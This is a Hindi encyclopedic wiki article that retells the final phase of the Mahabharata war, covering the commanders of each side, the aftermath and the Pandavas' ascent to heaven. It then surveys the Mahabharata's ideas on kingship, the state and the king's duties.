द्रोण बड़े ही दुर्धर्ष थे। वे सम्पूर्ण क्षत्रियों का विनाश करके पाँचवें दिन मारे गये। दुर्योधन पुन: शोक से आतुर हो उठा। उस समय कर्ण उसकी सेना का कर्णधार हुआ। पाण्डव-सेना का आधिपत्य अर्जुन को मिला। कर्ण और अर्जुन में भाँति-भाँति के अस्त्र-शस्त्रों की मार-काट से युक्त महाभयानक युद्ध हुआ, जो देवासुर-संग्राम को भी मात करने वाला था। कर्ण और अर्जुन के संग्राम में कर्ण ने अपने बाणों से शत्रु-पक्ष के बहुत-से वीरों का संहार कर डाला; किंतु दूसरे दिन अर्जुन ने उसे मार गिराया।
 
==द्रौपदी के पाँचों पुत्रों का वध==
 
तदनन्तर राजा [[शल्य]] कौरव-सेना के सेनापति हुए, किंतु वे युद्ध में आधे दिन तक ही टिक सके। दोपहर होते-होते राजा युधिष्ठिर ने उन्हें मार गिराया। दुर्योधन की प्राय: सारी सेना युद्ध में मारी गयी थी। अन्ततोगत्वा उसका भीमसेन के साथ युद्ध  हुआ। उसने पाण्डव-पक्ष के पैदल आदि बहुत-से सैनिकों का वध करके भीमसेन पर धावा किया। उस समय [[गदा]] से प्रहार करते हुए दुर्योधन के अन्य छोटे भाई भी भीमसेन के ही हाथ से मारे गये थे। महाभारत-संग्राम के उस अठारहवें दिन रात्रिकाल में महाबली [[अश्वत्थामा]] ने पाण्डवों की सोयी हुई एक अक्षौहिणी सेना को सदा के लिये सुला दिया। उसने द्रौपदी के पाँचों पुत्रों, उसके पांचालदेशीय बन्धुओं तथा धृष्टद्युम्न को भी जीवित नहीं छोड़ा। द्रौपदी पुत्रहीन होकर रोने-बिलखने लगी। तब अर्जुन ने सींक के अस्त्र से अश्वत्थामा को परास्त करके उसके मस्तक की मणि निकाल ली। अश्वत्थामा को मारा जाता देखकर द्रौपदी ने ही अनुनय-विनय करके उसके प्राण बचाये।
 
==महाभारत युद्ध में सेनापतित्व==
 
[[चित्र:Sanjaya-Dhritarashtra.jpg|thumb|left|[[धृतराष्ट्र]] को महाभारत की घटनाओं का आँखों देखा हाल बताते हुये [[संजय]]]]महाभारत युद्ध के प्रारम्भ होने पर वीर [[शिखण्डी]] पाण्डवों के तथा पितामह [[भीष्म]] कौरवों के सेनापति नियुक्त हुए। पितामह भीष्म दस दिनों तक कौरव सेना के सेनापति रहे। दसवें दिन के युद्ध में शिखण्डी पाण्डवों की ओर से भीष्म के सामने आकर डट गया, जिसे देखते ही भीष्म ने अस्त्र परित्याग कर दिया। कृष्ण के कहने पर शिखण्डी की आड़ लेकर अर्जुन ने अपने बाणों से भीष्म को जर्जर कर दिया तथा वे रथ से नीचे गिर पड़े, किंतु पृथ्वी पर नहीं, तीरों की शय्या पर। पितामह भीष्म के आहत होने पर आचार्य द्रोण को कौरवों का सेनापति बनाया गया, जिन्होंने पाँच दिनों तक सेना का नेतृत्व किया। युद्ध के पन्द्रहवें दिन द्रोणाचार्य ने हज़ारों पाण्डव सैनिकों को मार डाला तथा युधिष्ठिर की रक्षा में खड़े द्रुपद तथा विराट दोनों को मार दिया। द्रोणाचार्य के इस रूप देखकर कृष्ण भी चिंतित हो उठे। उन्होंने सोचा कि पाण्डवों की विजय के लिए द्रोणाचार्य की मृत्यु आवश्यक है। कृष्ण के कहने पर भीम ने अश्वत्थामा नाम के [[हाथी]] का वध कर दिया और द्रोणाचार्य को यह समाचार दिया कि उनका पुत्र अश्वत्थामा वीरगति को प्राप्त हो गया है। दोणाचार्य ने धर्मराज युधिष्ठिर से सच्चाई जाननी चाही। युधिष्ठिर ने कहा- 'हाँ, अश्वत्थामा मारा गया, किन्तु नर नहीं, कुंजर।' युधिष्ठिर के नर कहते ही कृष्ण ने ज़ोर से शंख बजा दिया, जिस कारण द्रोणाचार्य आगे के शब्द न सुन सके। द्रोण ने अस्त्र-शस्त्र फेंक दिए तथा रथ पर ही ध्यान-मग्न होकर बैठ गए। तभी द्रुपद-पुत्र धृष्टद्युम्न ने खड्ग से द्रोणाचार्य का सिर काट दिया।
 
 
 
{| class="bharattable-green" border="1" align="right"
 
|+सेनापतित्त्व का समय
 
|-
 
!क्र.सं.
 
!सेनापति
 
!दिन
 
|-
 
|1.
 
|[[भीष्म]]
 
|10 दिन (1-10)
 
|-
 
|2.
 
|[[द्रोणाचार्य]]
 
|5 दिन (11-15)
 
|-
 
|3.
 
|[[कर्ण]]
 
|2 दिन (16-17)
 
|-
 
|4.
 
|[[शल्य]]
 
|1 दिन (18वाँ दिन)<ref>18वें दिन शल्य आधे दिन तक ही युद्ध में टिक सके और युधिष्ठिर के हाथों मारे गये।</ref>
 
|-
 
|5.
 
|[[अश्वत्थामा]]
 
|1 दिन (18वाँ दिन)<ref>कौरवों के केवल तीन ही महारथी बचे थे- अश्वत्थामा, कृपाचार्य और कृतवर्मा। संध्या के समय जब उन्हें पता चला कि दुर्योधन घायल पड़ा हुआ है, तो वे तीनों वहाँ पहुँचे। अश्वत्थामा ने प्रतिज्ञा की कि मैं चाहे जैसे भी हो, पाण्डवों का वध अवश्य करूँगा। दुर्योधन ने वहीं अश्वत्थामा को कौरवों का सेनापति बना दिया।</ref>
 
|-
 
|}द्रोण की मृत्यु के बाद कर्ण को कौरवों का सेनापतित्व सौंपा गया। किन्तु वह भी अधिक समय तक कौरवों का नेतृत्व नहीं कर सका। युद्ध के सोलहवें तथा सत्रहवें दिन कर्ण ने बहुत वीरता दिखाई, किन्तु सत्रहवें दिन ही वह अर्जुन के हाथों मारा गया। इसके बाद अट्ठारहवें दिन राजा शल्य को कौरवों का सेनापतित्व मिला। शल्य आधे दिन तक ही युद्ध में टिक सके। वे युधिष्टिर के हाथों वीर गति को प्राप्त हो गये। इसी दिन भीम ने दुर्योधन की जंघा तोड़ दी और उसे घायल अवस्था में वहीं छोड़ दिया। अब कौरवों के केवल तीन ही महारथी बचे थे- [[अश्वत्थामा]], [[कृपाचार्य]] और [[कृतवर्मा]]। संध्या के समय जब उन्हें पता चला कि दुर्योधन घायल पड़ा हुआ है, तो वे तीनों वहाँ पहुँचे। दुर्योधन उन्हें देखकर अपने अपमान से क्षुब्ध होकर विलाप कर रहा था। अश्वत्थामा ने प्रतिज्ञा की कि मैं चाहे जैसे भी हो, पाण्डवों का वध अवश्य करूँगा। दुर्योधन ने वहीं अश्वत्थामा को कौरवों का सेनापति बना दिया।
 
 
 
==वीरों का दाह-संस्कार==
 
पाण्डवों से जीवनदान पाने पर भी दुष्ट अश्वत्थामा ने अभिमन्यु की पत्नी उत्तरा के गर्भ को नष्ट करने के लिये उस पर अस्त्र का प्रयोग किया। वह गर्भ उसके अस्त्र से प्राय: दग्ध हो गया था; किंतु भगवान् श्रीकृष्ण ने उसको पुन: जीवन-दान दिया। उत्तरा का वही गर्भस्थ शिशु आगे चलकर राजा परीक्षित् के नाम से विख्यात हुआ। कृतवर्मा, [[कृपाचार्य]] तथा [[अश्वत्थामा]]- ये तीन कौरवपक्षीय वीर उस संग्राम से जीवित बचे। दूसरी ओर पाँच [[पाण्डव]], [[सात्यकि]] तथा भगवान श्री[[कृष्ण]]-ये सात ही जीवित रह सके; दूसरे कोई नहीं बचे। उस समय सब ओर अनाथा स्त्रियों का आर्तनाद व्याप्त हो रहा था। [[भीमसेन]] आदि भाइयों के साथ जाकर युधिष्ठिर ने उन्हें सान्त्वना दी तथा रणभूमि में मारे गये सभी वीरों का दाह-संस्कार करके उनके लिये जलांजलि दे धन आदि का दान किया। तत्पश्चात कुरुक्षेत्र में शरशय्या पर आसीन शान्तनुनन्दन भीष्म के पास जाकर युधिष्ठिर ने उनसे समस्त शान्तिदायक धर्म, राजधर्म (आपद्धर्म), मोक्ष धर्म तथा दानधर्म की बातें सुनीं। फिर वे राजसिंहासन पर आसीन हुए। इसके बाद उन शत्रुमर्दन राजा ने [[अश्वमेध यज्ञ]] करके उसमें ब्राह्मणों को बहुत धन दान किया। तदनन्तर [[द्वारका]] से लौटे हुए अर्जुन के मुख से मूसलकाण्ड के कारण प्राप्त हुए शाप से पारस्परिक युद्ध द्वारा यादवों के संहार का समाचार सुनकर युधिष्ठिर ने परीक्षित् को राजासन पर बिठाया और स्वयं भाइयों के साथ महाप्रस्थान कर स्वर्गलोक को चले गये
 
 
 
*यद्यपि इस अध्याय के अन्त तक महाभारत की पूरी कथा समाप्त हुई-सी जान पड़ती है, तथापि आश्रमवासिक पर्व से लेकर स्वर्गारोहण पर्व तक का वृत्तान्त कुछ विस्तार से कहना शेष रह गया है; इसलिये अगले (पंद्रहवें) अध्याय में उसे पूरा किया गया है।
 
 
 
==यदुकुल का संहार और पाण्डवों का स्वर्गगमन==
 
[[चित्र:Jaydrath-vadh.jpg|thumb|[[जयद्रथ]] वध]]
 
'''अग्निदेव कहते हैं'''- ब्रह्मन्! जब युधिष्ठिर राजसिंहासन पर विराजमान हो गये, तब धृतराष्ट्र गृहस्थ-आश्रम से वानप्रस्थ-आश्रम में प्रविष्ट हो वन में चले गये। (अथवा ऋषियों के एक आश्रम से दूसरे आश्रमों में होते हुए वे वन को गये।) उनके साथ देवी [[गान्धारी]] और पृथा (कुन्ती) भी थीं। विदुर जी दावानल से दग्ध हो स्वर्ग सिधारे। इस प्रकार भगवान् विष्णु ने पृथ्वी का भार उतारा और धर्म की स्थापना तथा अधर्म का नाश करने के लिये पाण्डवों को निमित्त बनाकर दानव-दैत्य आदि का संहार किया। तत्पश्चात भूमिका भार बढ़ाने वाले यादवकुल का भी ब्राह्मणों के शाप के बहाने मूसल के द्वारा संहार कर डाला। अनिरुद्ध के पुत्र वज्र को राजा के पद पर अभिषिक्त किया। तदनन्तर देवताओं के अनुरोध से प्रभासक्षेत्र में श्रीहरि स्वयं ही स्थूल शरीर की लीला का संवरण करके अपने धाम को पधारे
 
 
 
वे इन्द्रलोक और ब्रह्मलोक में स्वर्गवासी देवताओं द्वारा पूजित होते हैं। [[बलराम|बलभद्र]] जी [[शेषनाग]] के स्वरूप थे, अत: उन्होंने पातालरूपी स्वर्ग का आश्रय लिया। अविनाशी भगवान श्रीहरि ध्यानी पुरुषों के ध्येय हैं।  उनके अन्तर्धान हो जाने पर समुद्र ने उनके निजी निवासस्थान को छोड़ कर शेष द्वारकापुरी को अपने जल में डुबा दिया। अर्जुन ने मरे हुए यादवों का दाह-संस्कार करके उनके लिये जलांजलि दी और धन आदि का दान किया। भगवान् श्रीकृष्ण की रानियों को, जो पहले अप्सराएँ थीं और अष्टावक्र के शाप से मानवीरूप में प्रकट हुई थीं, लेकर [[हस्तिनापुर]] को चले। मार्ग में डंडे लिये हुए ग्वालों ने अर्जुन का तिरस्कार करके उन सबको छीन लिया। यह भी [[अष्टावक्र]] के शाप से ही सम्भव हुआ था। इससे अर्जुन के मन में बड़ा शोक हुआ। फिर महर्षि [[व्यास]] के सान्त्वना देने पर उन्हें यह निश्चय हुआ कि
 
'भगवान् श्रीकृष्ण के समीप रहने से ही मुझमें बल था।' हस्तिनापुर में आकर उन्होंने भाइयों सहित राजा युधिष्ठिर से, जो उस समय प्रजावर्ग का पालन करते थे, यह सब समाचार निवेदन किया। वे बोले-
 
 
 
'भैया! वही धनुष है, वे ही बाण हैं, वही रथ है और वे ही घोड़े हैं, किंतु भगवान् श्रीकृष्ण के बिना सब कुछ उसी प्रकार नष्ट हो गया, जैसे अश्रोत्रिय को दिया हुआ दान।' यह सुनकर धर्मराज युधिष्ठिर ने राज्य पर परीक्षित् को स्थापित कर दिया
 
[[चित्र:karn1.jpg|thumb|left|महाभारत युद्ध में [[कर्ण]] की वीरगति]]
 
इसके बाद बुद्धिमान् राजा संसार की अनित्यता का विचार करके द्रौपदी तथा भाइयों को साथ ले महाप्रस्थान के पथ पर अग्रसर हुए। मार्ग में वे श्रीहरि के अष्टोत्तरशत नामों का जप करते हुए यात्रा करते थे। उस महापथ में क्रमश: द्रौपदी, सहदेव, नकुल, अर्जुन और भीमसेन एक-एक करके गिर पड़े। इससे राजा शोकमग्न हो गये। तदनन्तर वे [[इन्द्र]] के द्वारा लाये हुए रथ पर आरूढ़ हो (दिव्य रूप धारी) भाइयों सहित स्वर्ग को चले गये। वहाँ उन्होंने दुर्योधन आदि सभी धृतराष्ट्रपुत्रों को देखा। तदनन्तर (उन पर कृपा करने के लिये अपने धाम से पधारे हुए) भगवान् वासुदेव का भी दर्शन किया इससे उन्हें बड़ी प्रसन्नता हुईं यह मैंने तुम्हें महाभारत का प्रसंग सुनाया है। जो इसका पाठ करेगा, वह स्वर्गलोक में सम्मानित होगा।
 
==राज्य शासन प्रबन्ध==
 
[[वेदव्यास]] जी द्वारा रचित महाभारत विश्व के असाधारण ग्रंथों में से एक है। राजनीतिक दृष्टि से महाभारत का महत्व सर्वाधिक है। इस ग्रंथ में राजधर्म के विविध अंगों की विविध दृष्टियों से और पूर्वाचार्यों के मतानुसार प्रतिष्ठा की गई है।
 
====राज्य अथवा राजा से सम्बन्धित विचार====
 
 
 
महाभारत में लिखा है कि पहले न कोई राज्य था, न राजा, न दण्ड था और न दण्ड देने वाला, समस्त प्रजा धर्म के द्वारा ही एक-दूसरे की रक्षा करती थी।<ref>[[शान्ति पर्व महाभारत]],67.16-17</ref> लेकिन बाद में लोग मोह, लोभ, काम, राग, द्वेष आदि विकारों से युक्त होने के कारण धर्महीन हो गये। वैदिक ज्ञान का लोप होने से यज्ञ-धर्म नष्ट हो गया। इस अराजकता के [[युग]] में प्रजा त्रसित और पीड़ित थी।
 
 
 
===='राज्य' मानव जीवन के लिए अनिवार्य संस्था====
 
महाभारत के अनुसार राज्य मानव जीवन के लिए अनिवार्य संस्था है। '[[शांतिपर्व महाभारत|शांति पर्व]]' में लिखा है कि "इस जगत में भूतल पर यदि राजा न हो तो जैसे जल में बड़ी मछलियाँ छोटी मछलियों  को खा जाती हैं, उसी प्रकार शक्तिशाली मनुष्य दुर्बलों को लूट खाएं। राजा के न रहने पर प्रजा वर्ग के लोग परस्पर एक-दूसरे को लूटते हुए नष्ट हो जाते हैं।" <ref>[[शान्ति पर्व महाभारत]],67.16-17</ref> महाभारत में राजतंत्र को ही सर्वश्रेष्ठ शासन प्रणाली माना गया है।
 
 
 
====राज्य की उतपत्ति के विभिन्न सिद्धांत====
 
महाभारत में राज्य अथवा राजा की उत्पत्ति के विषय में अनेक सिद्धांतों का उल्लेख मिलता है।
 
===== दैवी सिद्धांत=====
 
शांतिपर्व में लिखा है कि अराजक युग में मनुष्यों की कष्टप्रद स्थिति को देखकर [[देवता]] भी त्रसित हो उठे और [[ब्रह्मा|ब्रह्माजी]] की शरण में जाकर निवेदन किया कि मनुष्य लोक में यज्ञादि कर्म-क्रियाओं का लोप हो जाने के कारण उनका भी जीवन संकटमय हो गया है और उनका देव स्वभाव नष्ट हो रहा है। तब देवताओं के कष्ट निवारण हेतु ब्रह्माजी ने एक लाख अध्याय वाले 'नीतिसार' की रचना की और कहा कि यह दण्डनीति सम्पूर्ण जगत की रक्षा करने में समर्थ होगी।<ref>[[शान्ति पर्व महाभारत]],59.11-29</ref> देवताओं की प्रार्थना पर भगवान नारायण देव ने अपने तेज से एक मानस पुत्र की रचना की जो 'बिरजा' के नाम से विख्यात हुआ और उसी की संतति क्रमश: राज्य करने लगी।<ref>[[शान्ति पर्व महाभारत]],59.93-112</ref> इससे स्पष्ट है कि राजा तथा राज्य की उत्पत्ति में दैवीय योगदान था।
 
=====सामाजिक समझौता सिद्धांत=====
 
शांतिपर्व के 67 वें अध्याय में कहा गया है कि अराजक अवस्था से पीड़ित और त्रसित जनता ने आपस में मिलकर एक समझौता किया जिसके अनुसार , हम लोगों को कटुवाकी, वाकशूर, दण्ड-पुरुष, परस्त्रीगामी तथा परधन का अपहरण करने वालों को समाज से बहिष्कृत कर देना चाहिये। कुछ समय तक इस नियम का पालन किया गया। कालांतर में फिर वही पुरानी दुर्व्यवस्था व्याप्त हो गयी। तब संतप्त जनता ने पितामह ब्रह्मा से प्रार्थना की कि "राजा के अभाव में हम सब लोग नष्ट हो जायेंगे। आप हमें ऐसा राजा दीजिये जो शासन करने में समर्थ हो और हमारा पालन कर सके।" तब ब्रह्माजी ने मनु को राजा होने की आज्ञा दी, परंतु मनु ने अनिच्छा प्रकट करते हुए कहा कि राजकार्य बहुत कठिन है, विशेषत: मिथ्याचारी मनुष्यों पर शासन। इस पर प्रजा में मनु को आश्वासन दिया और कहा कि
 
आप न डरें, पाप तो उसे लगेगा जो उसे करेगा। हम लोग आप की कोषवृद्धि के लिए पशुओं तथा स्वर्ण का पचासवां भाग एवं अन्न की उपज का दसवां भाग देते रहेंगे, हम लोग आप से रक्षित होकर जो कुछ धर्माचरण करेंगे आप उसके चतुर्थांश के फलभागी होंगे।<ref>[[शान्ति पर्व महाभारत]],67.17-26</ref> इस समझौते द्वारा राजा को सशर्त अधिकार एवं शक्तियां प्रदान की गयीं। जनता राजा के आदेश का पालन उसी सीमा तक करेगी जहाँ तक कि धर्म के अनुकूल है। धर्म विरोधी आचरण करने पर उसे पद से हटा दिया जायेगा।  इस प्रकार महाभारत में राज्य की उत्पत्ति के दैवी सिद्धांत और समझौता सिद्धांत, दोनों का ही उल्लेख मिलता है।
 
 
 
====राजा का उत्तराधिकारी====
 
महाभारत के अध्ययन से स्पष्ट है कि उस समय राजा वंशानुगत हो चुका था। अनेक स्थलों पर हमें 'पितृ पैतामहं राज्यम' <ref>[[आदि पर्व महाभारत]],194.5, [[शान्ति पर्व महाभारत]]</ref> अथवा 'पैतृक राज्य'<ref>[[उद्योग पर्व महाभारत]],67.17-26</ref> का उल्लेख मिलता है, और जिन वंशों का इतिहास इस ग्रंथ में संग्रहित है उसमें भी यही प्रतिध्वनित होता है। साधारणतया पिता के पश्चात उसका ज्येष्ठ पुत्र ही राज्यधिकारी होता था, परंतु यदि ज्येष्ठ पुत्र में शारीरिक अथवा चारित्रिक दोष होता था तो उसे अपने अधिकार से वंचित कर दिया जाता था। ऐसी स्थिति में उसके पुत्र अथवा अनुज<ref>यहाँ अनुज छोटे भाई को कहा गया है। </ref> को सिंहासन प्रदान किया जाता था।
 
श्रेष्ठ राज्य के गुण-  महाभारत में उसी राज्य अथवा राष्ट्र को उत्तम माना गया जै जो धन-धान्य तथा पशुओं से सम्पन्न हो। जिसकी भूमि उपजाऊ और रत्नगर्भा हो। जहाँ जल का अभाव न हो, वार्ता उन्नतिशील हो, कुशल व्यापारी और शिल्पी हो तथा प्रजाजन स्वकार्यरत, धर्मपरायण, व्यसनरहित और पारस्पारिक सदभावना से प्रेरित हों।
 
 
 
====राज्य का स्वरुप: सप्तांग सिद्धांत====
 
 
 
महाभारत में भी राज्य के स्वरूप में सात अंग निहित हैं, ये इस प्रकार हैं:
 
# राजा
 
# आमात्य
 
# कोष
 
# दण्ड
 
# मित्र
 
# जनपद
 
# पुर।
 
इनको महाभारत में नाम भेद से जहाँ-तहाँ अनेक बार स्मरण किया गया है। शांतिपर्व में राजा के कर्त्तव्यों का उल्लेख करते हुए [[भीष्म]] ने कहा है कि राजा को उचित है कि वह सात वस्तुओं की अवश्य रक्षा करे। ये हैं राजा का अपना शरीर, मंत्री, कोष, दण्ड, मित्र, राष्ट्र और नगर। राजा को इन सात का प्रयत्नपूर्वक पालन करना चाहिए।<ref>[[शान्ति पर्व महाभारत]],69.64-65</ref>
 
राज्य के विविध अंगों के पारस्परिक सम्बन्धों के विषय में भी महाभारत में विवेचना की गई है। शांति पर्व में रानी सुलभा राजा जनक से प्रश्न करती है कि राज्य के समस्त अंग, जो विविध गुणों से युक्त हैं, उनमें किस को अधिक महत्त्वपूर्ण माना जा सकता है? इस प्रश्न का समाधान इस प्रकार किया गया है कि सभी अंग समय-समय पर अपनी विशिष्टता सिद्ध करते हैं और जिस अंग से जो कार्य सिद्ध होता है, उसके लिये उसी की प्रधानता मानी जाती है। महाभारत में भी राज्य के अंगों की तुलना त्रि-दण्ड से करके उनके पारस्परिक सहयोग को आवश्यक सिद्ध किया गया है।<ref>[[शान्ति पर्व महाभारत]],308.154-156</ref>
 
  
====राजा का शीर्ष स्थान====
 
  
यद्यपि यह सत्य है कि अपने-अपने स्थान पर राज्य की सातों प्रकृतियां अपना विशिष्ट महत्व रखती हैं, परंतु अपेक्षाकृत राजा का स्थान अधिक महत्त्वपूर्ण है। वह राज्य के विभिन्न अंगों  का संचालन ही नहीं, वरन उनमें तारतम्य भी स्थापित करता है। उनकी रक्षा का भार भी राजा पर ही होता है। राज्य के किसी भी अंग का अहित करने वाले व्यक्ति को वह दण्डित कर सकता है।<ref>[[शान्ति पर्व महाभारत]],57.5</ref>
 
  
====राजा की श्रेष्ठता एवं महत्व====
+
<div align="center">'''[[कुरु वंश|आगे जाएँ »]]'''</div>
महाभारत में राजा को अत्यंत महत्त्वपूर्ण स्थान प्रदान किया गया है। शांति पर्व में राजाहीन देश को धिक्कार योग्य माना गया है। अराजक राष्ट्र निर्बल तथा दस्युजनों से त्रसित होता है। वहाँ धर्म का अभाव होता है और मनुष्य एक-दूसरे को विनष्ट करने लगते हैं। [[भीष्म]] ने तो यहाँ तक कहा है कि राजा रहित राज्य में रहना ही नहीं चाहिये।  महाभारत में राजा की श्रेष्ठता के सम्बन्ध में कहा गया है कि राजा समस्त प्राणियों के लिए गुरु की भांति आदरणीय है। राजा और गौ पर प्रहार करने से भ्रूण हत्या का पाप लगता है।<ref>[[अनुशासन पर्व महाभारत]],23.30</ref> राजा सम्पूर्ण जगत को धारण करने वाला है।<ref>[[शान्ति पर्व महाभारत]],73.26</ref> राजा त्रिवर्ग का मूल है<ref>[[शान्ति पर्व महाभारत]],139.99</ref> और वहीं चारों युगों का सृष्टिकर्ता है।<ref>[[शान्ति पर्व महाभारत]], 70.25</ref>  
 
  
====राजा का राज्यभिषेक====
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
राजासिंहासन पर आरूढ़ होने से पूर्व राजा के अभिषेक की क्रिया आवश्यक थी। राज्यभिषेक के बिना कोई भी व्यक्ति वैध राजा नहीं माना जाता था। महाभारत में अनेक राजाओं के राज्यभिषेक का उल्लेख प्राप्त है, जिसमें सबसे अधिक महत्त्वपूर्ण वर्णन [[युधिष्ठिर]] के अभिषेक का है। इस अवसर पर राजा, उनके बन्धुबान्धव, प्रजा वर्ग, मंत्री तथा [[पुरोहित]] आदि सभी उपस्थित रहते थे। इस अवसर पर राजा प्रजा के कल्याण हेतु तत्पर रहने की प्रतिज्ञा करता था और भूमि तथा अन्य वस्तुएँ दान में देता था।
 
====राजा की उपाधियाँ====
 
महाभारत में राजा को अनेक उपाधियाँ प्राप्त होती थीं यथा राजन, राजेन्द्र, नृप, नरेन्द्र, मनुष्येन्द्र जनेश्वर, पृथ्वीपति, लोकनाथ आदि। ये सभी उपाधियाँ पृथ्वी एवं प्रजा दोनों पर ही राजा के अधिकार की सूचक हैं। राजा को प्रभु, ईश और ईश्वर भी कहा गया है जो उसके देवत्व की द्योतक हैं।
 
====राजा के गुण====
 
 
 
महाभारत में लिखा है कि गुण सम्पन्न व्यक्ति ही शासन करने का अधिकारी है। गुणविहीन राजा स्वयं तो विपत्ति में पड़ता ही है, प्रजा को भी विपत्ति के गर्त में डाल देता है। गुणयुक्त राजा प्रजा का विश्वास प्राप्त करता है। वह न पथभ्रष्ट होता है, और न ही श्रीभ्रष्ट।<ref>[[शान्ति पर्व महाभारत]],56.16-19,57.12.14</ref> शांतिपर्व में युधिष्ठिर के एक प्रश्न के उत्तर में भीष्म ने राजा के 36 गुणों का उल्लेख किया है।<ref>[[शान्ति पर्व महाभारत]],71.2-11</ref> राजा गुणवान, शील सम्पन्न, मृदु, धार्मिक, जितेन्द्रिय, सुदर्शन, सत्यवादी, शांत, आत्मवान, त्रयी और शास्त्र का ज्ञाता, प्राज्ञ, त्यागी, शत्रु की दुर्बलता समझने में तत्पर, क्रियावान तथा हठ संकल्प वाला होना चाहिये।
 
 
 
====राजा के प्रमुख कार्य====
 
महाभारत में राजा के कार्यों के प्रसंग में भी विस्तृत रूप से लिखा गया है। राजा का पहला कार्य धर्म का अनुशीलन करना है। यदि वह धर्म का आचरण करता है तो [[देवता]] बन जाता है, और यदि अधर्म का आचरण करता है तो नरक में गिरता है।<ref>[[शान्ति पर्व महाभारत]],90. 3-4</ref> राजा के प्रमुख कार्य निम्नलिखित हैं-
 
=====प्रजा की रक्षा=====
 
राजा को प्रजा की रक्षा करनी चाहिये। राजा द्वारा पालित राज्य में जनता अपने को उसी प्रकार रक्षित अनुभव करे, जैसा कि एक बालक अपने पिता की गोद में अनुभव करता है। अनुशासन-पर्व में महेश्वर कहते हैं कि रक्षणीयता प्रजा का धर्म है, और रक्षा करना राजा का।<ref>( रक्ष्यत्वं वै प्रजाधर्म: क्षत्रधर्मस्तु रक्षणमे)  </ref>
 
=====प्रजा का पालन=====
 
महाभारत में प्रजा-पालन राजा का धर्म माना गया है। भगवान महेश्वर कहते हैं कि क्षत्रिय का प्रधान धर्म प्रजा पालन है। धर्मपूर्वक प्रजा का पालन करने वाला राजा उत्तम लोक प्राप्त करता है।<ref>[[शान्ति पर्व महाभारत]],71.2-11</ref> प्रजापालन में यह कर्त्तव्य भी समाविष्ट था कि वह प्रजा के भरण-पोषण और जीविका का समुचित प्रबन्ध करे।
 
=====प्रजारंजन=====
 
महाभारत में अनेक स्थलों पर प्रजारंजन राजा का मुख्य कर्त्तव्य बताया गया है। [[विदुर]] कहते हैं कि जो राजा नेत्र, मन, वाणी और कर्म द्वारा प्रजा को प्रसन्न रखता है, उसी से प्रजा प्रसन्न रहती है।<ref>[[उद्योग पर्व महाभारत]],34.23</ref> शांति पर्व में भी कहा गया है कि जो राजा पौर-जनपदों का रंजन करता है उसका राज्य कभी अस्थिर नहीं होता।<ref>[[शान्ति पर्व महाभारत]],137.107</ref>
 
=====वर्णाश्रम व्यवस्था का संचालन=====
 
सामाजिक मर्यादा की रक्षा करना राजा का प्रमुख कर्त्तव्य था। महाभारत में कहा गया है कि चारों वर्णों को स्वधर्म में स्थापित करने वाला राजा देवलोक को प्राप्त करता है। <ref>[[शान्ति पर्व महाभारत]],25.31</ref> [[भीष्म]] के अनुसार, चतुर्वर्ण धर्म की रक्षा करना और प्रजा को वर्णसंकरता से बचाना राजा का सनातन धर्म है।
 
=====दण्डनीति का सही प्रयोग=====
 
राजा को दण्डनीति का उत्तम रीति से प्रयोग करना चाहिये। इससे चारों वर्ण अपने-अपने धर्म में लगे रहते हैं तथा अधर्म में जाने से रुक जाते हैं। प्रजा सब ओर से निर्भय एवं कुशलतापूर्वक रहने लगती है। शांति पर्व में लिखा है कि समस्त प्राणी दण्डनीति के आधार पर टिके हुए हैं। राजा दण्डनीति से युक्त हो, उसी के अनुसार चले यह उसका सबसे बड़ा धर्म है।<ref>[[शान्ति पर्व महाभारत]],69. 104</ref>
 
=====आर्थिक कार्य=====
 
प्रजा की आर्थिक एवं भौतिक उन्नति भी राजा के कर्त्तव्यों में सम्मिलित थी। कृषि प्रधान देश होने के कारण कृषि की उन्नति और कृषकों को आवश्यक सहायता देना राजा का धर्म माना गया है। अनुशासनपर्व में राजा को आदेश दिया गया है कि यदि वर्षा के अभाव में कृषक सिंचाई के लिए कूप इत्यादि का निर्माण करें तो वह उनसे कर न ले।<ref>[[अनुशासन पर्व महाभारत]],61.25,</ref> व्यापार एवं शिल्प की उन्नति भी राजा का धर्म माना गया है। शांति पर्व के अनुसार राजा को व्यापारियों की पुत्र के समान रक्षा करनी चाहिए।
 
=====करारोपण एवं कोष संग्रह=====
 
शांतिपर्व में लिखा है कि राजा प्रजाजनों से उन्हीं की रक्षा के लिए उनकी आय का छठा भाग कर के रूप में एकत्रित करे।<ref>[[शान्ति पर्व महाभारत]],69.23-25</ref> राजा को उतना ही कर लेना चाहिए कि प्रजा संकट में न पड़ जाये। राजा लोगों की क्षमता के अनुसार भारी और हल्का कर लगाये। शांतिपर्व के अनुसार राजा को ऐसी व्यवस्था करनी चाहिये जिसमें अप्राप्त अर्थ की वृद्धि हो तथा प्राप्त धन का सुपात्रों में समुचित वितरण किया जा सके।<ref>[[शान्ति पर्व महाभारत]],59.57</ref>
 
=====प्रशासन सम्बन्धी कार्य=====
 
महाभारत में लिखा है कि समूचे राज्य का प्रशासनिक वर्गीकरण इस प्रकार किया जाये कि गांव का, दस गांवों का, सौ गांवों का तथा एक हज़ार गांवों का अलग-अलग एक-एक अधिपति बनाया जाये। अधिपतियों के अधिकार में जो युद्ध सम्बन्धी तथा प्रबन्ध सम्बन्धी कार्य सौंपे गये हों उनकी देखभाल कोई धर्मज्ञ मंत्री करे। महाभारत के अध्ययन से विदित होता है कि राजा मंत्री, सेनापति तथा अन्य वरिष्ट पदाधिकारियों की नियुक्ति और उनके कार्यों का निरीक्षण करता था। कोष व सेना का निरीक्षण करना, प्रजा के अभियोगों को सुनकर अंतिम निर्णय देना एवं सन्धि-विग्रह की नीति निर्धारित करना राजा के ही कार्य थे। वह स्वयं युद्ध-भूमि में उपस्थित हो सेना का संचालन भी करता था।
 
=====गुप्तचरों की व्यवस्था=====
 
महाभारत में लिखा है कि आंतरिक सुरक्षा एवं बाह्म सुरक्षा दोनों की दृष्टि से राजा को गुप्तचरों की नियुक्ति करनी चाहिये। राजा को अपनी नीतियों के प्रति जनप्रतिक्रिया को जानने के लिए भी गुप्तचर नियुक्त करने चाहिये।
 
=====निष्पक्ष न्याय=====
 
